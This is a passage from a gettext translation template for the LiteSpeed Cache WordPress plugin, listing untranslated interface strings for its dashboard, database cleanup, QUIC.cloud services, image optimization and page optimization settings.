tpl/dash/dashboard.tpl.php:293 #: tpl/dash/network_dash.tpl.php:119 msgid "Total images optimized in this month" msgstr "" #: tpl/dash/dashboard.tpl.php:301 msgid "Remaining Daily Quota" msgstr "" #: tpl/dash/dashboard.tpl.php:311 msgid "Partner Benefits Provided by" msgstr "" #: tpl/dash/dashboard.tpl.php:347 msgid "Enable QUIC.cloud Services" msgstr "" #: tpl/dash/dashboard.tpl.php:354 #: tpl/general/online.tpl.php:128 msgid "Go to QUIC.cloud dashboard" msgstr "" #: tpl/dash/dashboard.tpl.php:382 #: tpl/img_optm/summary.tpl.php:54 #: tpl/page_optm/settings_css.tpl.php:111 #: tpl/page_optm/settings_css.tpl.php:248 #: tpl/page_optm/settings_media.tpl.php:194 #: tpl/page_optm/settings_vpi.tpl.php:59 msgid "Current closest Cloud server is %s. Click to redetect." msgstr "" #: tpl/dash/dashboard.tpl.php:383 #: tpl/img_optm/summary.tpl.php:54 #: tpl/page_optm/settings_css.tpl.php:111 #: tpl/page_optm/settings_css.tpl.php:248 #: tpl/page_optm/settings_media.tpl.php:194 #: tpl/page_optm/settings_vpi.tpl.php:59 msgid "Are you sure you want to redetect the closest cloud server for this service?" msgstr "" #: tpl/dash/dashboard.tpl.php:385 #: tpl/general/online.tpl.php:31 #: tpl/img_optm/summary.tpl.php:54 #: tpl/img_optm/summary.tpl.php:56 #: tpl/page_optm/settings_css.tpl.php:111 #: tpl/page_optm/settings_css.tpl.php:248 #: tpl/page_optm/settings_media.tpl.php:194 #: tpl/page_optm/settings_vpi.tpl.php:59 msgid "Redetect" msgstr "" #: tpl/dash/dashboard.tpl.php:419 msgid "You must be using one of the following products in order to measure Page Load Time:" msgstr "" #: tpl/dash/dashboard.tpl.php:420 msgid "LiteSpeed Web Server" msgstr "" #: tpl/dash/dashboard.tpl.php:422 msgid "OpenLiteSpeed Web Server" msgstr "" #: tpl/dash/dashboard.tpl.php:424 msgid "LiteSpeed Web ADC" msgstr "" #: tpl/dash/dashboard.tpl.php:426 #: tpl/dash/dashboard.tpl.php:844 msgid "QUIC.cloud CDN" msgstr "" #: tpl/dash/dashboard.tpl.php:438 #: tpl/dash/dashboard.tpl.php:503 msgid "Requested: %s ago" msgstr "" #: tpl/dash/dashboard.tpl.php:446 #: tpl/dash/dashboard.tpl.php:511 msgid "Refresh" msgstr "" #: tpl/dash/dashboard.tpl.php:447 msgid "Refresh page load time" msgstr "" #: tpl/dash/dashboard.tpl.php:512 msgid "Refresh page score" msgstr "" #: tpl/dash/dashboard.tpl.php:520 #: tpl/img_optm/entry.tpl.php:16 msgid "Image Optimization Summary" msgstr "" #: tpl/dash/dashboard.tpl.php:537 #: tpl/img_optm/summary.tpl.php:76 #: tpl/img_optm/summary.tpl.php:89 msgid "Send Optimization Request" msgstr "" #: tpl/dash/dashboard.tpl.php:543 #: tpl/img_optm/summary.tpl.php:316 msgid "Total Reduction" msgstr "" #: tpl/dash/dashboard.tpl.php:546 #: tpl/img_optm/summary.tpl.php:319 msgid "Images Pulled" msgstr "" #: tpl/dash/dashboard.tpl.php:569 #: tpl/img_optm/summary.tpl.php:322 msgid "Last Request" msgstr "" #: tpl/dash/dashboard.tpl.php:572 msgid "Last Pull" msgstr "" #: tpl/dash/dashboard.tpl.php:624 #: tpl/toolbox/purge.tpl.php:73 msgid "Critical CSS" msgstr "" #: tpl/dash/dashboard.tpl.php:631 #: tpl/dash/dashboard.tpl.php:675 #: tpl/dash/dashboard.tpl.php:719 #: tpl/dash/dashboard.tpl.php:763 msgid "Last generated: %s" msgstr "" #: tpl/dash/dashboard.tpl.php:639 #: tpl/dash/dashboard.tpl.php:683 #: tpl/dash/dashboard.tpl.php:727 #: tpl/dash/dashboard.tpl.php:771 msgid "Time to execute previous request: %s" msgstr "" #: tpl/dash/dashboard.tpl.php:646 #: tpl/dash/dashboard.tpl.php:690 #: tpl/dash/dashboard.tpl.php:734 #: tpl/dash/dashboard.tpl.php:778 msgid "Requests in queue" msgstr "" #: tpl/dash/dashboard.tpl.php:649 #: tpl/dash/dashboard.tpl.php:693 #: tpl/dash/dashboard.tpl.php:737 #: tpl/dash/dashboard.tpl.php:781 msgid "Force cron" msgstr "" #: tpl/dash/dashboard.tpl.php:657 #: tpl/dash/dashboard.tpl.php:701 #: tpl/dash/dashboard.tpl.php:745 #: tpl/dash/dashboard.tpl.php:789 msgid "Last requested: %s" msgstr "" #: tpl/dash/dashboard.tpl.php:668 #: tpl/toolbox/purge.tpl.php:82 msgid "Unique CSS" msgstr "" #: tpl/dash/dashboard.tpl.php:756 msgid "Viewport Image" msgstr "" #: tpl/dash/dashboard.tpl.php:864 msgid "Best available WordPress performance" msgstr "" #: tpl/dash/dashboard.tpl.php:869 msgid "Globally fast TTFB, easy setup, and %s!" msgstr "" #: tpl/dash/dashboard.tpl.php:870 msgid "more" msgstr "" #: tpl/dash/dashboard.tpl.php:887 msgid "Refresh QUIC.cloud status" msgstr "" #: tpl/dash/entry.tpl.php:21 msgid "Network Dashboard" msgstr "" #: tpl/dash/entry.tpl.php:29 msgid "LiteSpeed Cache Dashboard" msgstr "" #: tpl/dash/network_dash.tpl.php:28 msgid "Usage Statistics: %s" msgstr "" #: tpl/dash/network_dash.tpl.php:107 msgid "Pay as You Go" msgstr "" #: tpl/dash/network_dash.tpl.php:109 msgid "This Month Usage: %s" msgstr "" #: tpl/db_optm/entry.tpl.php:17 #: tpl/db_optm/settings.tpl.php:19 msgid "DB Optimization Settings" msgstr "" #: tpl/db_optm/entry.tpl.php:24 msgid "LiteSpeed Cache Database Optimization" msgstr "" #: tpl/db_optm/manage.tpl.php:17 msgid "Clean All" msgstr "" #: tpl/db_optm/manage.tpl.php:21 msgid "Post Revisions" msgstr "" #: tpl/db_optm/manage.tpl.php:22 msgid "Clean all post revisions" msgstr "" #: tpl/db_optm/manage.tpl.php:25 msgid "Orphaned Post Meta" msgstr "" #: tpl/db_optm/manage.tpl.php:26 msgid "Clean all orphaned post meta records" msgstr "" #: tpl/db_optm/manage.tpl.php:29 msgid "Auto Drafts" msgstr "" #: tpl/db_optm/manage.tpl.php:30 msgid "Clean all auto saved drafts" msgstr "" #: tpl/db_optm/manage.tpl.php:33 msgid "Trashed Posts" msgstr "" #: tpl/db_optm/manage.tpl.php:34 msgid "Clean all trashed posts and pages" msgstr "" #: tpl/db_optm/manage.tpl.php:37 msgid "Spam Comments" msgstr "" #: tpl/db_optm/manage.tpl.php:38 msgid "Clean all spam comments" msgstr "" #: tpl/db_optm/manage.tpl.php:41 msgid "Trashed Comments" msgstr "" #: tpl/db_optm/manage.tpl.php:42 msgid "Clean all trashed comments" msgstr "" #: tpl/db_optm/manage.tpl.php:45 msgid "Trackbacks/Pingbacks" msgstr "" #: tpl/db_optm/manage.tpl.php:46 msgid "Clean all trackbacks and pingbacks" msgstr "" #: tpl/db_optm/manage.tpl.php:49 msgid "Expired Transients" msgstr "" #: tpl/db_optm/manage.tpl.php:50 msgid "Clean expired transient options" msgstr "" #: tpl/db_optm/manage.tpl.php:53 msgid "All Transients" msgstr "" #: tpl/db_optm/manage.tpl.php:54 msgid "Clean all transient options" msgstr "" #: tpl/db_optm/manage.tpl.php:57 msgid "Optimize Tables" msgstr "" #: tpl/db_optm/manage.tpl.php:58 msgid "Optimize all tables in your database" msgstr "" #: tpl/db_optm/manage.tpl.php:66 msgid "Clean revisions older than %1$s day(s), excluding %2$s latest revisions" msgstr "" #: tpl/db_optm/manage.tpl.php:90 msgid "Database Optimizer" msgstr "" #: tpl/db_optm/manage.tpl.php:116 msgid "Database Table Engine Converter" msgstr "" #: tpl/db_optm/manage.tpl.php:124 msgid "Table" msgstr "" #: tpl/db_optm/manage.tpl.php:125 msgid "Engine" msgstr "" #: tpl/db_optm/manage.tpl.php:126 msgid "Tool" msgstr "" #: tpl/db_optm/manage.tpl.php:141 msgid "Convert to InnoDB" msgstr "" #: tpl/db_optm/manage.tpl.php:149 msgid "We are good. No table uses MyISAM engine." msgstr "" #: tpl/db_optm/manage.tpl.php:171 msgid "Database Summary" msgstr "" #: tpl/db_optm/manage.tpl.php:175 msgid "Autoload size" msgstr "" #: tpl/db_optm/manage.tpl.php:176 msgid "Autoload entries" msgstr "" #: tpl/db_optm/manage.tpl.php:180 msgid "Autoload top list" msgstr "" #: tpl/db_optm/manage.tpl.php:185 msgid "Option Name" msgstr "" #: tpl/db_optm/manage.tpl.php:186 msgid "Autoload" msgstr "" #: tpl/db_optm/manage.tpl.php:187 msgid "Size" msgstr "" #: tpl/db_optm/settings.tpl.php:32 msgid "Specify the number of most recent revisions to keep when cleaning revisions." msgstr "" #: tpl/db_optm/settings.tpl.php:44 msgid "Day(s)" msgstr "" #: tpl/db_optm/settings.tpl.php:46 msgid "Revisions newer than this many days will be kept when cleaning revisions." msgstr "" #: tpl/esi_widget_edit.php:52 msgid "Public" msgstr "" #: tpl/esi_widget_edit.php:53 msgid "Private" msgstr "" #: tpl/esi_widget_edit.php:54 msgid "Disable" msgstr "" #: tpl/esi_widget_edit.php:71 msgid "Widget Cache TTL" msgstr "" #: tpl/esi_widget_edit.php:81 msgid "Recommended value: 28800 seconds (8 hours)." msgstr "" #: tpl/esi_widget_edit.php:82 msgid "A TTL of 0 indicates do not cache." msgstr "" #: tpl/general/entry.tpl.php:16 #: tpl/general/online.tpl.php:68 msgid "Online Services" msgstr "" #: tpl/general/entry.tpl.php:17 #: tpl/general/entry.tpl.php:22 #: tpl/general/network_settings.tpl.php:19 #: tpl/general/settings.tpl.php:24 msgid "General Settings" msgstr "" #: tpl/general/entry.tpl.php:30 msgid "LiteSpeed Cache General Settings" msgstr "" #: tpl/general/network_settings.tpl.php:31 msgid "Use Primary Site Configuration" msgstr "" #: tpl/general/network_settings.tpl.php:35 msgid "Check this option to use the primary site's configuration for all subsites." msgstr "" #: tpl/general/network_settings.tpl.php:36 msgid "This will disable the settings page on all subsites." msgstr "" #: tpl/general/online.tpl.php:22 msgid "QUIC.cloud Online Services" msgstr "" #: tpl/general/online.tpl.php:30 msgid "Current Cloud Nodes in Service" msgstr "" #: tpl/general/online.tpl.php:31 msgid "Click to clear all nodes for further redetection." msgstr "" #: tpl/general/online.tpl.php:31 msgid "Are you sure you want to clear all cloud nodes?" msgstr "" #: tpl/general/online.tpl.php:41 msgid "Service:" msgstr "" #: tpl/general/online.tpl.php:43 msgid "Node:" msgstr "" #: tpl/general/online.tpl.php:45 msgid "Connected Date:" msgstr "" #: tpl/general/online.tpl.php:51 msgid "No cloud services currently in use" msgstr "" #: tpl/general/online.tpl.php:59 msgid "QUIC.cloud Integration Disabled" msgstr "" #: tpl/general/online.tpl.php:60 msgid "Speed up your WordPress site even further with QUIC.cloud Online Services and CDN." msgstr "" #: tpl/general/online.tpl.php:69 msgid "QUIC.cloud's Online Services improve your site in the following ways:" msgstr "" #: tpl/general/online.tpl.php:71 msgid "<strong>Image Optimization</strong> gives you smaller image file sizes that transmit faster." msgstr "" #: tpl/general/online.tpl.php:72 msgid "<strong>Page Optimization</strong> streamlines page styles and visual elements for faster loading." msgstr "" #: tpl/general/online.tpl.php:76 msgid "QUIC.cloud's Image Optimization service does the following:" msgstr "" #: tpl/general/online.tpl.php:78 msgid "Processes your uploaded PNG and JPG images to produce smaller versions that don't sacrifice quality." msgstr "" #: tpl/general/online.tpl.php:79 msgid "Optionally creates next-generation WebP or AVIF image files." msgstr "" #: tpl/general/online.tpl.php:81 msgid "Processing for PNG, JPG, and WebP image formats is free. AVIF is available for a fee." msgstr "" #: tpl/general/online.tpl.php:84 msgid "QUIC.cloud's Page Optimization services address CSS bloat, and improve the user experience during page load, which can lead to improved page speed scores." msgstr "" #: tpl/general/online.tpl.php:86 msgid "<strong>Critical CSS (CCSS)</strong> loads visible above-the-fold content faster and with full styling." msgstr "" #: tpl/general/online.tpl.php:87 msgid "<strong>Unique CSS (UCSS)</strong> removes unused style definitions for a speedier page load overall." msgstr "" #: tpl/general/online.tpl.php:88 msgid "<strong>Low Quality Image Placeholder (LQIP)</strong> gives your imagery a more pleasing look as it lazy loads." msgstr "" #: tpl/general/online.tpl.php:89 msgid "<strong>Viewport Images (VPI)</strong> provides a well-polished fully-loaded view above the fold." msgstr "" #: tpl/general/online.tpl.php:98 msgid "Content Delivery Network" msgstr "" #: tpl/general/online.tpl.php:100 msgid "QUIC.cloud CDN:" msgstr "" #: tpl/general/online.tpl.php:102 msgid "Caches your entire site, including dynamic content and <strong>ESI blocks</strong>." msgstr "" #: tpl/general/online.tpl.php:103 msgid "Delivers global coverage with a growing <strong>network of 80+ PoPs</strong>." msgstr "" #: tpl/general/online.tpl.php:104 msgid "Provides <strong>security at the CDN level</strong>, protecting your server from attack." msgstr "" #: tpl/general/online.tpl.php:105 msgid "Offers optional <strong>built-in DNS service</strong> to simplify CDN onboarding." msgstr "" #: tpl/general/online.tpl.php:114 msgid "In order to use most QUIC.cloud services, you need quota. QUIC.cloud gives you free quota every month, but if you need more, you can purchase it." msgstr "" #: tpl/general/online.tpl.php:125 msgid "QUIC.cloud Integration Enabled" msgstr "" #: tpl/general/online.tpl.php:126 msgid "Your site is connected and ready to use QUIC.cloud Online Services." msgstr "" #: tpl/general/online.tpl.php:136 msgid "CDN - Enabled" msgstr "" #: tpl/general/online.tpl.php:138 msgid "CDN - Disabled" msgstr "" #: tpl/general/online.tpl.php:143 msgid "QUIC.cloud Integration Enabled with limitations" msgstr "" #: tpl/general/online.tpl.php:144 msgid "Your site is connected and using QUIC.cloud Online Services as an <strong>anonymous user</strong>. The CDN function and certain features of optimization services are not available for anonymous users. Link to QUIC.cloud to use the CDN and all available Online Services features." msgstr "" #: tpl/general/online.tpl.php:150 msgid "CDN - not available for anonymous users" msgstr "" #: tpl/general/online.tpl.php:159 msgid "Are you sure you want to disconnect from QUIC.cloud? This will not remove any data from the QUIC.cloud dashboard." msgstr "" #: tpl/general/online.tpl.php:159 msgid "Disconnect from QUIC.cloud" msgstr "" #: tpl/general/online.tpl.php:160 msgid "Remove QUIC.cloud integration from this site. Note: QUIC.cloud data will be preserved so you can re-enable services at any time. If you want to fully remove your site from QUIC.cloud, delete the domain through the QUIC.cloud Dashboard first." msgstr "" #: tpl/general/settings.tpl.php:48 msgid "This option enables maximum optimization for Guest Mode visitors." msgstr "" #: tpl/general/settings.tpl.php:49 msgid "Please read all warnings before enabling this option." msgstr "" #: tpl/general/settings.tpl.php:64 msgid "Your %1$s quota on %2$s will still be in use." msgstr "" #: tpl/general/settings.tpl.php:72 #: tpl/general/settings.tpl.php:79 #: tpl/general/settings.tpl.php:86 #: tpl/general/settings.tpl.php:103 #: tpl/page_optm/settings_media.tpl.php:253 #: tpl/page_optm/settings_vpi.tpl.php:44 msgid "Notice" msgstr "" #: tpl/general/settings.tpl.php:72 #: tpl/page_optm/settings_media.tpl.php:253 #: tpl/page_optm/settings_vpi.tpl.php:44 msgid "%s must be turned ON for this setting to work." msgstr "" #: tpl/general/settings.tpl.php:79 msgid "You need to turn %s on to get maximum result." msgstr "" #: tpl/general/settings.tpl.php:86 msgid "You need to turn %s on and finish all WebP generation to get maximum result." msgstr "" #: tpl/general/settings.tpl.php:101 msgid "Enter this site's IP address to allow cloud services directly call IP instead of domain name. This eliminates the overhead of DNS and CDN lookups." msgstr "" #: tpl/general/settings.tpl.php:102 msgid "Your server IP" msgstr "" #: tpl/general/settings.tpl.php:102 msgid "Check my public IP from" msgstr "" #: tpl/general/settings.tpl.php:103 msgid "the auto-detected IP may not be accurate if you have an additional outgoing IP set, or you have multiple IPs configured on your server." msgstr "" #: tpl/general/settings.tpl.php:104 msgid "Please make sure this IP is the correct one for visiting your site." msgstr "" #: tpl/general/settings.tpl.php:119 msgid "Turn this option ON to show latest news automatically, including hotfixes, new releases, available beta versions, and promotions." msgstr "" #: tpl/general/settings_inc.auto_upgrade.tpl.php:25 msgid "Turn this option ON to have LiteSpeed Cache updated automatically, whenever a new version is released. If OFF, update manually as usual." msgstr "" #: tpl/general/settings_inc.guest.tpl.php:26 msgid "Guest Mode provides an always cacheable landing page for an automated guest's first time visit, and then attempts to update cache varies via AJAX." msgstr "" #: tpl/general/settings_inc.guest.tpl.php:27 msgid "This option can help to correct the cache vary for certain advanced mobile or tablet visitors." msgstr "" #: tpl/general/settings_inc.guest.tpl.php:34 msgid "Guest Mode testing result" msgstr "" #: tpl/general/settings_inc.guest.tpl.php:35 msgid "Testing" msgstr "" #: tpl/general/settings_inc.guest.tpl.php:38 msgid "Guest Mode IP/UA sync status" msgstr "" #: tpl/general/settings_inc.guest.tpl.php:39 msgid "Syncing" msgstr "" #: tpl/general/settings_inc.guest.tpl.php:46 msgid "Guest Mode passed testing." msgstr "" #: tpl/general/settings_inc.guest.tpl.php:49 #: tpl/general/settings_inc.guest.tpl.php:52 msgid "Guest Mode failed to test." msgstr "" #: tpl/general/settings_inc.guest.tpl.php:64 msgid "Synced successfully." msgstr "" #: tpl/general/settings_inc.guest.tpl.php:66 #: tpl/general/settings_inc.guest.tpl.php:70 msgid "Sync failed." msgstr "" #: tpl/img_optm/entry.tpl.php:17 #: tpl/img_optm/entry.tpl.php:22 #: tpl/img_optm/network_settings.tpl.php:19 #: tpl/img_optm/settings.tpl.php:19 msgid "Image Optimization Settings" msgstr "" #: tpl/img_optm/entry.tpl.php:30 msgid "LiteSpeed Cache Image Optimization" msgstr "" #: tpl/img_optm/settings.media_webp.tpl.php:25 msgid "Request WebP/AVIF versions of original images when doing optimization." msgstr "" #: tpl/img_optm/settings.media_webp.tpl.php:26 msgid "Significantly improve load time by replacing images with their optimized %s versions." msgstr "" #: tpl/img_optm/settings.media_webp.tpl.php:31 msgid "%1$s is a %2$s paid feature." msgstr "" #: tpl/img_optm/settings.media_webp.tpl.php:34 msgid "When switching formats, please %1$s or %2$s to apply this new choice to previously optimized images." msgstr "" #: tpl/img_optm/settings.media_webp.tpl.php:34 #: tpl/img_optm/summary.tpl.php:378 msgid "Destroy All Optimization Data" msgstr "" #: tpl/img_optm/settings.media_webp.tpl.php:34 #: tpl/img_optm/summary.tpl.php:368 msgid "Soft Reset Optimization Counter" msgstr "" #: tpl/img_optm/settings.tpl.php:34 msgid "Automatically request optimization via cron job." msgstr "" #: tpl/img_optm/settings.tpl.php:47 msgid "Optimize images and save backups of the originals in the same folder." msgstr "" #: tpl/img_optm/settings.tpl.php:60 msgid "Automatically remove the original image backups after fetching optimized images." msgstr "" #: tpl/img_optm/settings.tpl.php:65 #: tpl/img_optm/summary.tpl.php:244 #: tpl/page_optm/settings_media.tpl.php:308 msgid "This is irreversible." msgstr "" #: tpl/img_optm/settings.tpl.php:66 #: tpl/img_optm/summary.tpl.php:245 msgid "You will be unable to Revert Optimization once the backups are deleted!" msgstr "" #: tpl/img_optm/settings.tpl.php:80 msgid "Optimize images using lossless compression." msgstr "" #: tpl/img_optm/settings.tpl.php:81 msgid "This can improve quality but may result in larger images than lossy compression will." msgstr "" #: tpl/img_optm/settings.tpl.php:104 msgid "No sizes found." msgstr "" #: tpl/img_optm/settings.tpl.php:107 msgid "Choose which image sizes to optimize." msgstr "" #: tpl/img_optm/settings.tpl.php:120 msgid "Preserve EXIF data (copyright, GPS, comments, keywords, etc) when optimizing." msgstr "" #: tpl/img_optm/settings.tpl.php:121 msgid "This will increase the size of optimized files." msgstr "" #: tpl/img_optm/settings.tpl.php:149 msgid "Specify which element attributes will be replaced with WebP/AVIF." msgstr "" #: tpl/img_optm/settings.tpl.php:165 msgid "Enable replacement of WebP/AVIF in %s elements that were generated outside of WordPress logic." msgstr "" #: tpl/img_optm/summary.tpl.php:58 msgid "Optimize images with our QUIC.cloud server" msgstr "" #: tpl/img_optm/summary.tpl.php:63 msgid "You can request a maximum of %s images at once." msgstr "" #: tpl/img_optm/summary.tpl.php:68 msgid "To make sure our server can communicate with your server without any issues and everything works fine, for the few first requests the number of image groups allowed in a single request is limited." msgstr "" #: tpl/img_optm/summary.tpl.php:69 msgid "Current limit is" msgstr "" #: tpl/img_optm/summary.tpl.php:77 #: tpl/page_optm/settings_css.tpl.php:156 #: tpl/page_optm/settings_css.tpl.php:293 #: tpl/page_optm/settings_vpi.tpl.php:101 msgid "Available after %d second(s)" msgstr "" #: tpl/img_optm/summary.tpl.php:93 msgid "Only press the button if the pull cron job is disabled." msgstr "" #: tpl/img_optm/summary.tpl.php:93 msgid "Images will be pulled automatically if the cron job is running." msgstr "" #: tpl/img_optm/summary.tpl.php:102 msgid "Pull Images" msgstr "" #: tpl/img_optm/summary.tpl.php:108 msgid "Optimization Status" msgstr "" #: tpl/img_optm/summary.tpl.php:141 msgid "After the QUIC.cloud Image Optimization server finishes optimization, it will notify your site to pull the optimized images." msgstr "" #: tpl/img_optm/summary.tpl.php:142 msgid "This process is automatic." msgstr "" #: tpl/img_optm/summary.tpl.php:156 msgid "Last pull initiated by cron at %s." msgstr "" #: tpl/img_optm/summary.tpl.php:184 msgid "Storage Optimization" msgstr "" #: tpl/img_optm/summary.tpl.php:188 msgid "A backup of each image is saved before it is optimized." msgstr "" #: tpl/img_optm/summary.tpl.php:194 msgid "Last calculated" msgstr "" #: tpl/img_optm/summary.tpl.php:198 #: tpl/img_optm/summary.tpl.php:256 msgid "Files" msgstr "" #: tpl/img_optm/summary.tpl.php:208 msgid "Calculate Original Image Storage" msgstr "" #: tpl/img_optm/summary.tpl.php:217 msgid "Calculate Backups Disk Space" msgstr "" #: tpl/img_optm/summary.tpl.php:224 msgid "Image Thumbnail Group Sizes" msgstr "" #: tpl/img_optm/summary.tpl.php:241 msgid "Delete all backups of the original images" msgstr "" #: tpl/img_optm/summary.tpl.php:253 #: tpl/page_optm/settings_localization.tpl.php:70 msgid "Last ran" msgstr "" #: tpl/img_optm/summary.tpl.php:259 msgid "Saved" msgstr "" #: tpl/img_optm/summary.tpl.php:264 msgid "Are you sure you want to remove all image backups?" msgstr "" #: tpl/img_optm/summary.tpl.php:265 msgid "Remove Original Image Backups" msgstr "" #: tpl/img_optm/summary.tpl.php:276 msgid "Image Information" msgstr "" #: tpl/img_optm/summary.tpl.php:285 msgid "Image groups total" msgstr "" #: tpl/img_optm/summary.tpl.php:289 msgid "Congratulations, all gathered!" msgstr "" #: tpl/img_optm/summary.tpl.php:291 msgid "What is a group?" msgstr "" #: tpl/img_optm/summary.tpl.php:293 msgid "What is an image group?" msgstr "" #: tpl/img_optm/summary.tpl.php:297 #: tpl/img_optm/summary.tpl.php:372 msgid "Current image post id position" msgstr "" #: tpl/img_optm/summary.tpl.php:298 msgid "Maximum image post id" msgstr "" #: tpl/img_optm/summary.tpl.php:304 msgid "Scan for any new unoptimized image thumbnail sizes and resend necessary image optimization requests." msgstr "" #: tpl/img_optm/summary.tpl.php:305 msgid "Rescan New Thumbnails" msgstr "" #: tpl/img_optm/summary.tpl.php:313 msgid "Optimization Summary" msgstr "" #: tpl/img_optm/summary.tpl.php:325 msgid "Last Pulled" msgstr "" #. translators: %s: Link tags #: tpl/img_optm/summary.tpl.php:337 msgid "Results can be checked in %sMedia Library%s." msgstr "" #: tpl/img_optm/summary.tpl.php:347 msgid "Optimization Tools" msgstr "" #: tpl/img_optm/summary.tpl.php:350 msgid "You can quickly switch between using original (unoptimized versions) and optimized image files. It will affect all images on your website, both regular and webp versions if available." msgstr "" #: tpl/img_optm/summary.tpl.php:355 msgid "Use original images (unoptimized) on your site" msgstr "" #: tpl/img_optm/summary.tpl.php:356 msgid "Use Original Files" msgstr "" #: tpl/img_optm/summary.tpl.php:359 msgid "Switch back to using optimized images on your site" msgstr "" #: tpl/img_optm/summary.tpl.php:360 msgid "Use Optimized Files" msgstr "" #: tpl/img_optm/summary.tpl.php:372 msgid "This will reset the %1$s. If you changed WebP/AVIF settings and want to generate %2$s for the previously optimized images, use this action." msgstr "" #: tpl/img_optm/summary.tpl.php:377 msgid "Are you sure to destroy all optimized images?" msgstr "" #: tpl/img_optm/summary.tpl.php:382 msgid "Remove all previous image optimization requests/results, revert completed optimizations, and delete all optimization files." msgstr "" #: tpl/inc/admin_footer.php:17 msgid "Rate %1$s on %2$s" msgstr "" #: tpl/inc/admin_footer.php:19 msgid "Read LiteSpeed Documentation" msgstr "" #: tpl/inc/admin_footer.php:21 msgid "Visit LSCWP support forum" msgstr "" #: tpl/inc/admin_footer.php:23 msgid "Join LiteSpeed Slack community" msgstr "" #: tpl/inc/check_cache_disabled.php:20 msgid "To use the caching functions you must have a LiteSpeed web server or be using QUIC.cloud CDN." msgstr "" #: tpl/inc/check_cache_disabled.php:25 msgid "Please enable the LSCache Module at the server level, or ask your hosting provider." msgstr "" #: tpl/inc/check_cache_disabled.php:31 msgid "Please enable LiteSpeed Cache in the plugin settings." msgstr "" #: tpl/inc/check_cache_disabled.php:40 msgid "LSCache caching functions on this page are currently unavailable!" msgstr "" #: tpl/inc/check_if_network_disable_all.php:30 msgid "The network admin selected use primary site configs for all subsites." msgstr "" #: tpl/inc/check_if_network_disable_all.php:31 msgid "The following options are selected, but are not editable in this settings page." msgstr "" #: tpl/inc/in_upgrading.php:15 msgid "LiteSpeed cache plugin upgraded. Please refresh the page to complete the configuration data upgrade." msgstr "" #: tpl/inc/modal.deactivation.php:22 msgid "The deactivation is temporary" msgstr "" #: tpl/inc/modal.deactivation.php:28 msgid "Site performance is worse" msgstr "" #: tpl/inc/modal.deactivation.php:33 msgid "Plugin is too complicated" msgstr "" #: tpl/inc/modal.deactivation.php:38 msgid "Other" msgstr "" #: tpl/inc/modal.deactivation.php:47 msgid "Why are you deactivating the plugin?" msgstr "" #: tpl/inc/modal.deactivation.php:60 msgid "On uninstall, all plugin settings will be deleted." msgstr "" #: tpl/inc/modal.deactivation.php:68 msgid "If you have used Image Optimization, please %sDestroy All Optimization Data%s first. NOTE: this does not remove your optimized images." msgstr "" #: tpl/inc/modal.deactivation.php:76 msgid "Deactivate" msgstr "" #: tpl/inc/modal.deactivation.php:76 msgid "Deactivate plugin" msgstr "" #: tpl/inc/modal.deactivation.php:77 msgid "Close popup" msgstr "" #: tpl/inc/show_display_installed.php:26 msgid "LiteSpeed Cache plugin is installed!" msgstr "" #: tpl/inc/show_display_installed.php:27 msgid "This message indicates that the plugin was installed by the server admin." msgstr "" #: tpl/inc/show_display_installed.php:28 msgid "The LiteSpeed Cache plugin is used to cache pages - a simple way to improve the performance of the site." msgstr "" #: tpl/inc/show_display_installed.php:29 msgid "However, there is no way of knowing all the possible customizations that were implemented." msgstr "" #: tpl/inc/show_display_installed.php:30 msgid "For that reason, please test the site to make sure everything still functions properly." msgstr "" #: tpl/inc/show_display_installed.php:31 msgid "Examples of test cases include:" msgstr "" #: tpl/inc/show_display_installed.php:32 msgid "Visit the site while logged out." msgstr "" #: tpl/inc/show_display_installed.php:33 msgid "Create a post, make sure the front page is accurate." msgstr "" #. translators: %s: Link tags #: tpl/inc/show_display_installed.php:37 msgid "If there are any questions, the team is always happy to answer any questions on the %ssupport forum%s." msgstr "" #: tpl/inc/show_display_installed.php:41 msgid "If you would rather not move at litespeed, you can deactivate this plugin." msgstr "" #: tpl/inc/show_error_cookie.php:16 msgid "NOTICE: Database login cookie did not match your login cookie." msgstr "" #: tpl/inc/show_error_cookie.php:18 msgid "If the login cookie was recently changed in the settings, please log out and back in." msgstr "" #: tpl/inc/show_error_cookie.php:21 msgid "If not, please verify the setting in the %sAdvanced tab%s." msgstr "" #: tpl/inc/show_error_cookie.php:27 msgid "If using OpenLiteSpeed, the server must be restarted once for the changes to take effect." msgstr "" #: tpl/inc/show_rule_conflict.php:16 msgid "Unexpected cache rule %2$s found in %1$s file. This rule may cause visitors to see old versions of pages due to the browser caching HTML pages. If you are sure that HTML pages are not being browser cached, this message can be dismissed. (%3$sLearn More%4$s)" msgstr "" #: tpl/optimax/entry.tpl.php:16 msgid "OptimaX Summary" msgstr "" #: tpl/optimax/entry.tpl.php:17 #: tpl/optimax/entry.tpl.php:22 #: tpl/optimax/settings.tpl.php:19 msgid "OptimaX Settings" msgstr "" #: tpl/optimax/entry.tpl.php:30 msgid "LiteSpeed Cache OptimaX" msgstr "" #: tpl/optimax/settings.tpl.php:34 msgid "Turn on OptimaX. This will automatically request your pages OptimaX result via cron job." msgstr "" #: tpl/page_optm/entry.tpl.php:16 #: tpl/page_optm/settings_css.tpl.php:31 msgid "CSS Settings" msgstr "" #: tpl/page_optm/entry.tpl.php:17 #: tpl/page_optm/settings_js.tpl.php:17 msgid "JS Settings" msgstr "" #: tpl/page_optm/entry.tpl.php:18 #: tpl/page_optm/settings_html.tpl.php:17 msgid "HTML Settings" msgstr "" #: tpl/page_optm/entry.tpl.php:19 #: tpl/page_optm/settings_media.tpl.php:26 msgid "Media Settings" msgstr "" #: tpl/page_optm/entry.tpl.php:20 msgid "VPI" msgstr "" #: tpl/page_optm/entry.tpl.php:21 #: tpl/page_optm/settings_media_exc.tpl.php:17 msgid "Media Excludes" msgstr "" #: tpl/page_optm/entry.tpl.php:22 msgid "Localization" msgstr "" #: tpl/page_optm/entry.tpl.php:23 #: tpl/page_optm/entry.tpl.php:24 msgid "Tuning" msgstr "" #: tpl/page_optm/entry.tpl.php:31 msgid "LiteSpeed Cache Page Optimization" msgstr "" #: tpl/page_optm/entry.tpl.php:43 msgid "Please test thoroughly when enabling any option in this list. After changing Minify/Combine settings, please do a Purge All action." msgstr "" #: tpl/page_optm/settings_css.tpl.php:46 msgid "Minify CSS files and inline CSS code." msgstr "" #: tpl/page_optm/settings_css.tpl.php:60 msgid "Combine CSS files and inline CSS code." msgstr "" #: tpl/page_optm/settings_css.tpl.php:61 #: tpl/page_optm/settings_js.tpl.php:48 msgid "How to Fix Problems Caused by CSS/JS Optimization." msgstr "" #: tpl/page_optm/settings_css.tpl.php:82 msgid "Use QUIC.cloud online service to generate unique CSS." msgstr "" 